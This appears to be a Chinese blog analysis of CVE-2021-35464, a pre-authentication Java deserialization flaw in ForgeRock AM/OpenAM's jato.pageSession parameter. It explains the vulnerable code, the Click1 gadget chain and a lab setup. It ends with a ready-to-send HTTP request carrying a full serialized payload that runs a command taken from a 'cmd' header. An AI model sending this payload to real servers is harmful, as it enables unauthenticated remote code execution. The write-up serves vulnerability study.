0x00 前述
2021 年 6 月 29 日,安全研究员 Michael Stepankin 发布了CVE-2021-35464,这是 ForgeRock访问管理器身份和访问管理软件中的预认证远程代码执行 (RCE) 漏洞。ForgeRock 为许多企业提供前端 Web 应用程序和远程访问解决方案。
前几天是在360漏洞通告看到了这个漏洞,心血来潮第一次分析框架漏洞,就从这个开始吧。
0x01 前置知识
Java反序列化
序列化是将复杂的数据结构(例如对象及其字段)转换为可以作为顺序字节流发送和接收的“更扁平”格式的过程。
序列化数据使得以下操作变得更加简单:
- 将复杂数据写入进程间内存、文件或数据库
- 例如,通过网络、应用程序的不同组件之间或在 API 调用中发送复杂数据
我理解他能节约内存,尤其面对大范围请求的时候。
关键是,当序列化一个对象时,它的状态也会被持久化。换句话说,对象的属性及其分配的值都被保留下来。
反序列化是将此字节流恢复为原始对象的完整功能副本的过程,其状态与序列化时的状态完全相同。然后网站的逻辑可以与这个反序列化的对象进行交互,就像与任何其他对象一样。
很多语言都支持反序列化,比如 PHP、Ruby 和 Java 都可以反序列化。
不同于 PHP 的反序列化,Java 的反序列化更难读懂。序列化的 Java 对象总是以相同的字节开始,比如16进制的ac ed
或者rO0
这样的Base64编码。
使用 JDK 中的 ObjectOutputStream
这个类,调用 writeObject
来进行二进制格式写入,ObjectInputStream
这个类中使用 readObject()
方法读取二进制流,转换为对象。这差不多和 PHP 的能对应起来。
以下是一个示例(对于从没有接触过java反序列化而言):
我们先建立一个项目,建立两个class,一个Person
,一个TestObjSerializeAndDeserialize
,确定好反序列化ID和方法。
public class Person implements Serializable {
/**
* 序列化ID
*/
private static final long serialVersionUID = -5809782578272943999L;
private int age;
private String name;
private String sex;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public String getSex() {
return sex;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
public void setSex(String sex) {
this.sex = sex;
}
}
在TestObjSerializeAndDeserialize
中先序列化一次,保存下来,再反序列化一次。
public class TestObjSerializeAndDeserialize {
public static void main(String[] args) throws Exception {
SerializePerson();//序列化Person对象
Person p = DeserializePerson();//反序列Perons对象
System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
p.getName(), p.getAge(), p.getSex()));
}
/**
* MethodName: SerializePerson
* Description: 序列化Person对象
* @author xudp
* @throws FileNotFoundException
* @throws IOException
*/
private static void SerializePerson() throws FileNotFoundException,
IOException {
Person person = new Person();
person.setName("gacl");
person.setAge(25);
person.setSex("男");
// ObjectOutputStream 对象输出流,将Person对象存储到E盘的Person.txt文件中,完成对Person对象的序列化操作
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
new File("D:/Person.txt")));
oo.writeObject(person);
System.out.println("Person对象序列化成功!");
oo.close();
}
/**
* MethodName: DeserializePerson
* Description: 反序列Perons对象
* @author xudp
* @return
* @throws Exception
* @throws IOException
*/
private static Person DeserializePerson() throws Exception, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
new File("D:/Person.txt")));
Person person = (Person) ois.readObject();
System.out.println("Person对象反序列化成功!");
return person;
}
}
我们看看序列化出来是什么?
可以看到是一串16进制,以ACED
为开头,实际上所有的序列化出来的都是这样。其中serialVersionUID
是序列化的版本号,凡是实现Serializable接口的类都有一个表示序列化版本标识符的静态变量。这个字段的添加可以使得我们对新的类的增加修改比较方便,否则编译会抛出错误。
Java框架
简而言之,为了方便开发,也为了减少技术整合的问题,Java
框架就诞生了。它可以被开发者定制,其他开发者可以基于它完成复用和重构。比如我们使用jQuery
开发,如果使用了较多的第三方js
,多个页面可能用了同一个js
,可能所有的页面都引入一遍,如果js
发生了修改,还需要每个页面再去修改,很麻烦,而且使得页面打开速度,维护难度都提高了。如果使用Vue
配合Webpack
构建工具,在入口文件引入需要重复的插件,我们就可以在所有组件中使用这个插件,后期发生变动,也只需要修改这个入口文件就可以了。
常见的java
框架有:
WAF
:
全称:WEB APPLICATION FRAMEWORK
主要应用方面:EJB
层,(WEB
层也有,但是比较弱)。
主要应用技术:EJB
等
出处: http://java.sun.com/blueprints/code/index.html
简述:这是SUN
在展示J2EE
平台时所用的例子PetStore
(宠物商店系统)里面的框架。是SUN蓝皮书例子程序中提出的应用框架。它实现了MVC
和其他良好的设计模式。SUN
的网站上有技术资料,最好下载PetStore
来研究,WEBLOGIC
里自带此系统,源码在bea\weblogic700\samples\server\src\petstore
。这是学习了解J2EE
的首选框架。
Struts
:
主要应用方面:WEB
层。
主要应用技术:JSP
,TagLib
,JavaBean
,XML
等
出处: http://jakarta.apache.org/struts/index.html
简述:这是APACHE
的开源项目,目前应用很广泛。基于MVC
模式,结构很好,基于JSP
。Jbuilder8
里已经集成了STRUTS1.02
的制作。
WAF+STRUTS
结合的例子:
WEB
层用STRUTS
,EJB
层用WAF
:JSP(TagLib)——>ActionForm——>Action ——>Event——>EJBAction——>EJB——>DAO——>Database JSP(TagLib)(forward)<——Action <——EventResponse<——
Turbine
:
主要应用方面:WEB
层。
主要应用技术:servlet
等
出处:http://jakarta.apache.org/turbine/index.html
简述:这是APACHE
的开源项目。基于SERVLET
。据说速度比较快,基于service
(pluggable implementation
可插拔的执行组件)的方式提供各种服务。
COCOON
:
主要应用方面:WEB
层。
主要应用技术:XML
,XSP
,servlet
等
出处: http://cocoon.apache.org/2.0/
简述:这是APACHE
的一个开源项目。基于XML
,基于XSP
(通俗地说,XSP
是在XML
静态文档中加入Java
程序段后形成的动态XML
文档。)。特点是可以与多种数据源交互,包括文件系统,数据库,LDAP
,XML
资源库,网络数据源等。
ECHO
:
主要应用方面:WEB
层。
主要应用技术:servlet
等
出处: http://www.nextapp.com/products/echo/
简述:nextapp
公司的一个开源项目。基于SERVLET
。页面可以做的很漂亮,结合echopoint
,可以作出很多图形效果(里面用了jfreechart
包)。使用SWING
的思想来作网页,把HTML
当作JAVA
的类来做。但是大量使用Session
,页面分帧(Frame
)很多,系统资源消耗很大。
JATO
:
全称:SUN ONE Application Framework
主要应用方面:WEB
层。
主要应用技术:JSP
,TagLib
,JavaBean
等
出处: http://www.sun.com/
简述:这是SUN
推出的一个商业性框架,一看名字就知道是结合SUN ONE
的平台推出的。JATO2.0
比较简单,适宜分析,使用了JSP+TagLib+JavaBean
。如他的DOC
所说JATO
是适合用在小的WEB
应用里。
TCF
:
全称:Thin-Client Framework
主要应用方面:JAVA GUI
。
主要应用技术:JAVA application
等
而分层开发下的常见JavaEE
框架有:
Mybatis
:解决数据持久化
Spring MVC
:解决WEB层的MVC框架
Spring
:解决技术整合问题的框架(V&NCTF
有出过相关题目)
了解这些框架能够既能帮我们尽快上手一个项目,也能够在面对安全审计任务时更快确定问题。
而今天要讲的分析的漏洞就存在于JATO
框架中。
0x02 源码分析
组件 | 影响版本 | 安全版本 |
---|---|---|
ForgeRock AM | 6.0.0.x | 7 |
ForgeRock AM | 6.5.0.x | 7 |
ForgeRock AM | 6.5.1 | 7 |
ForgeRock AM | 6.5.2.x | 7 |
ForgeRock AM | 6.5.3 | 7 |
这个openam.war文件怎么得到呢?两种方法。
第一种,docker拉一个环境。
$ docker run -h localhost -p 7080:8080 --name openam openidentityplatform/openam
然后拉起来从docker cp openam://usr/local/tomcat/webapps/openam.war ./ 提取出openam.war。
第二种,可以ForgeRock
官网下载相关固件,这里给出地址。顺便说个小tips,这个ForgeRock
的邮箱可以选择yeah.net
的domain
。
https://backstage.forgerock.com/downloads/get/familyId:am/productId:am/minorVersion:6.5/version:6.5.2.3/releaseType:full/distribution:war
给出的是AM-6.5.2.3.war。
得到这个war后,解压WAR文件并反编译里面的所有JAR(库),以便我们查看源代码。
可以使用 Intellij IDEA 来处理 Java 代码,因为它提供了用于搜索和构建调用图的便捷方法。更重要的是,它可以帮助我们直接反编译,而且这个 Java 反编译器可以在其内置terminal调用。它就是java-decompiler.jar。 你可以在 Intellij IDEA 的 \plugins\java-decompiler\lib 下找到它。
对openam搜索,大概找到了330个jar。
可以使用两种方法反编译。
第一种,直接terminal命令。
$ java -cp "java-decompiler.jar位置" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true "要反编译的jar" "存放的文件夹位置"
但我嫌麻烦,我用了第二种。
第二种,直接打开IDEA,选中一个jar,右击-Add as Library...
就能够反编译。
找到jato-2005-05-04.jar,在com/iplanet.jato/view/下找到了ViewBeanBase.class
protected void deserializePageAttributes() {
if (!this.isPageSessionDeserialized()) {
RequestContext context = this.getRequestContext();
if (context == null) {
context = RequestManager.getRequestContext();
}
String pageAttributesParam = context.getRequest().getParameter("jato.pageSession");
if (pageAttributesParam != null && pageAttributesParam.trim().length() > 0) {
try {
//vul
this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
} catch (Exception var4) {
this.handleDeserializePageAttributesException(var4);
}
}
this.setPageSessionDeserialized();
}
}
这表示,如果我们的get请求中包含了jato.pageSession的参数,jato会将其反序列化成为一个会话,而恰恰这里没有经过任何的过滤,直接使用了我们前置知识中讲到的原生 Java 序列化 ObjectInputSteam ,然后在头部进行了压缩。
那么梳理一下,如果要利用,既要搞清楚怎么压缩,然后考虑怎么绕过验证,最后能够RCE。
如果要利用就得搞清楚压缩的机制才可以,但有更简单的方法,将jato-2005-05-04.jar 和 ysoserial.jar 作为库包含。至于绕过验证,其实阅读XML会发现不少地方使用了jato,我们可以找到ccversion/Version是可行无需认证就可以访问的。
<context-param>
<param-name>jato:com.sun.identity.console.version.*:moduleURL</param-name>
<param-value>../ccversion</param-value>
</context-param>
String windowTitle = resourceBundle.getString("masthead.versionWindowTitle");
// Get query parameters.
String productNameSrc = (request.getParameter("productNameSrc") != null)
? request.getParameter("productNameSrc") : "";
String versionFile = (request.getParameter("versionFile") != null)
? request.getParameter("versionFile") : "";
windowTitle = VersionViewBean.escapeHTML(windowTitle);
String productNameHeight =
(request.getParameter("productNameHeight") != null)
? request.getParameter("productNameHeight") : "";
String productNameWidth =
(request.getParameter("productNameWidth") != null)
? request.getParameter("productNameWidth") : "";
// Create button frame URL.
StringBuilder buttonBuffer =
new StringBuilder(request.getContextPath())
.append("/ccversion/ButtonFrame");
// Create masthead frame URL.
StringBuilder buffer =
new StringBuilder(request.getContextPath())
.append("/ccversion/Masthead.jsp?");
按照 Michael Stepankin 的方法,这种负载就可以完成urlDNS的跳转。
import com.iplanet.jato.util.Encoder;
import ysoserial.payloads.URLDNS;
import java.io.Serializable;
public class Main {
public static void main(String[] args) throws Exception {
Object payload = new URLDNS().getObject("http://xxx4.x.artsploit.com/");
byte[] payloadBytes = Encoder.serialize((Serializable) payload, false);
String payloadString = Encoder.encodeHttp64(payloadBytes, 1000000);
System.out.println(payloadString);
}
}
其实这个分析到这里就差不多结束了,使用ysoserial 的 CommonsBeanutils1 小工具链可以RCE。但是为什么这个漏洞被评价很高呢?
是因为作者在实际目标中发现URLDNS 和 CommonsBeanutils1并不能达到效果,也就没办法完成通杀,所以作者考虑了其他办法。
2015 年,@frohoff 和 @gebl 展示了几种从公共库中的 readObject 方法触发远程代码执行的方法,包括广泛使用的 Apache Commons Collections。Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。也就是说我们可以通过给反序列化发送任意类对象触发 readObject 方法来达到自定义工具链的攻击模式。
JackOfMostTrades的gadgetinspector可以帮助我们静态分析jar包找到利用漏洞链,使用它可以找到13个链。
java/security/cert/CertificateRevokedException.readObject()
java/util/TreeMap.put()
org/apache/click/control/Column$ColumnComparator.compare()
org/apache/click/control/Column.getProperty()
org/apache/click/control/Column.getProperty()
org/apache/click/util/PropertyUtils.getValue()
org/apache/click/util/PropertyUtils.getObjectPropertyValue()
java/lang/reflect/Method.invoke()
我们关注倒数第二条链。找到click-nodeps-2.3.0.jar,进入org/apache/click/util/PropertyUtils,找到关键函数getObjectPropertyValue()。
private static Object getObjectPropertyValue(Object source, String name, Map cache) {
PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);
Method method = null;
try {
method = (Method) cache.get(methodNameKey);
if (method == null) {
method = source.getClass().getMethod(ClickUtils.toGetterName(name));
cache.put(methodNameKey, method);
}
return method.invoke(source);
Object source
是正在结构的对象,String name
是我们可控参数。get
方法没有参数,但是能够指定一个String
类型。已知的 Java
类org.apache.xalan.xsltc.trax.TemplatesImpl
,它是可序列化的,ysoserial 的 CommonsBeanutils1 链有一个类似“java.util.PriorityQueue.readObject”形式的小工具可以替代CertificateRevokedException.readObject触发ColumnComparator.compare。
这样重新在ysoserial下添加新类构造对象,可以得到下面的利用链,这个链比较长,这是一部分。
java.util.PriorityQueue.readObject()
java.util.PriorityQueue.heapify()
java.util.PriorityQueue.siftDown()
java.util.PriorityQueue.siftDownUsingComparator()
org.apache.click.control.Column$ColumnComparator.compare()
org.apache.click.control.Column.getProperty()
org.apache.click.control.Column.getProperty()
org.apache.click.util.PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
java.lang.reflect.Method.invoke()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
如果在ysoserial.payloads.Click1.getObject()方法设置断点,可以看到是如何RCE的。
0x03 POC触发
其实可以直接使用docker拉一个,但是这里也试着尝试直接安装看看。
在host中添加FQDN
vi /etc/hosts
127.0.0.1 localhost openam.example.com example.com
然后使其生效。
$ /etc/init.d/networking restart
然后建立两个tomcat服务器,我下载的tomcat8。
创建两个文件夹/usr/local/tomcat1和tomcat2,将下载好的解压进去,把bin目录下的catalina.sh拷贝到/etc/init.d/,重命名为tomcat1和tomcat2.
然后做如下修改:
添加chkconfig和description
#!/bin/sh
# Licensed to the Apache Software Foundation (ASF) under one or more
# chkconfig: 2345 10 90
# description: Tomcat service
# contributor license agreements. See the NOTICE file distributed with
将CATALINA_HOME分别设为/usr/local/tomcat1和/usr/local/tomcat2.
CATALINA_HOME=/usr/local/tomcat1
CATALINA_HOME=/usr/local/tomcat1
将JAVA_HOME设为/usr/local/jdk1.8.0_161。这个JDK是自己下的,网上资源很多。
JAVA_HOME=/usr/local/jdk1.8.0_161
修改两个tomcat目录下conf目录下server.xml的端口分别为8081和8082.
<Connector port="8081" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
注意着了的redirectPort也要修改,否则会冲突。
<Server port="8006" shutdown="SHUTDOWN">
<Listener className="org.apache.catalina.startup.VersionLoggerListener" />
SHUTDOWN的端口也要修改不要冲突。
把下载好的war示例程序放入/usr/local/tomcat1/webapps下,/usr/local/tomcat2/webapps也放入。
然后进行服务更新。
$ systemctl daemon-reload
然后启动两个服务。
$ sudo service tomcat1 start
$ sudo service tomcat2 start
这样就可以访问8081和8082端口看到两个apache服务了。
如果出现什么其他的无法启动的问题,大概率增加执行权限就可以解决。
然后访问openam就可以。
直接发包,cmd处使用命令即可,root权限。
poc:
POST /openam/ccversion/Version HTTP/1.1
Host: openam.example.com:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10561
cmd:ls
jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQACW0IBAAlwcm9jZXNzb3IBABJMamF2YS9sYW5nL09iamVjdDsBAANyZXEBAARyZXNwAQABagEAAUkBAAF0AQASTGphdmEvbGFuZy9UaHJlYWQ7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQADb2JqAQAKcHJvY2Vzc29ycwEAEExqYXZhL3V0aWwvTGlzdDsBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFpAQAEZmxhZwEAAVoBAAVncm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQABZgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEADVN0YWNrTWFwVGFibGUHANAHANEHANIHAKcHAKMHAJoHAJ0HAGMHAMgHAMsBAApTb3VyY2VGaWxlAQAVVG9tY2F0RWNob0luamVjdC5qYXZhDABHAEgHANIMANMA1AwA1QDWDADXANgMANkA2gcA0QwA2wDcDADdAN4MAN8A4AEABGV4ZWMMAOEA4gEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOMA2AEABmdsb2JhbAEADmphdmEvdXRpbC9MaXN0DADkAOUMAN0A5gEAC2dldFJlc3BvbnNlAQAPamF2YS9sYW5nL0NsYXNzDADnAOgBABBqYXZhL2xhbmcvT2JqZWN0BwDpDADqAOsBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDADsAO0BAAlzZXRTdGF0dXMMAO4AXwEAEWphdmEvbGFuZy9JbnRlZ2VyDABHAO8BAAdvcy5uYW1lBwDwDADxAPIMAPMA4AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABHAPQMAPUA9gcA9wwA-AD5DABHAPoBAAJcQQwA-wD8DAD9AOAMAP4A_wEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwBAAEBDAECAQMBAAhzZXRCeXRlcwwBBADoAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAQUASAEAI3lzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdpc0VtcHR5AQADKClaAQAEVFlQRQEABChJKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQAPcHJpbnRTdGFja1RyYWNlACEARQBGAAAAAAAEAAEARwBIAAEASQAAAC8AAQABAAAABSq3AAGxAAAAAgBKAAAABgABAAAAEQBLAAAADAABAAAABQBMAE0AAAABAE4ATwACAEkAAAA_AAAAAwAAAAGxAAAAAgBKAAAABgABAAAAYABLAAAAIAADAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFIAUwACAFQAAAAEAAEAVQABAE4AVgACAEkAAABJAAAABAAAAAGxAAAAAgBKAAAABgABAAAAZgBLAAAAKgAEAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFcAWAACAAAAAQBZAFoAAwBUAAAABAABAFUACABbAEgAAQBJ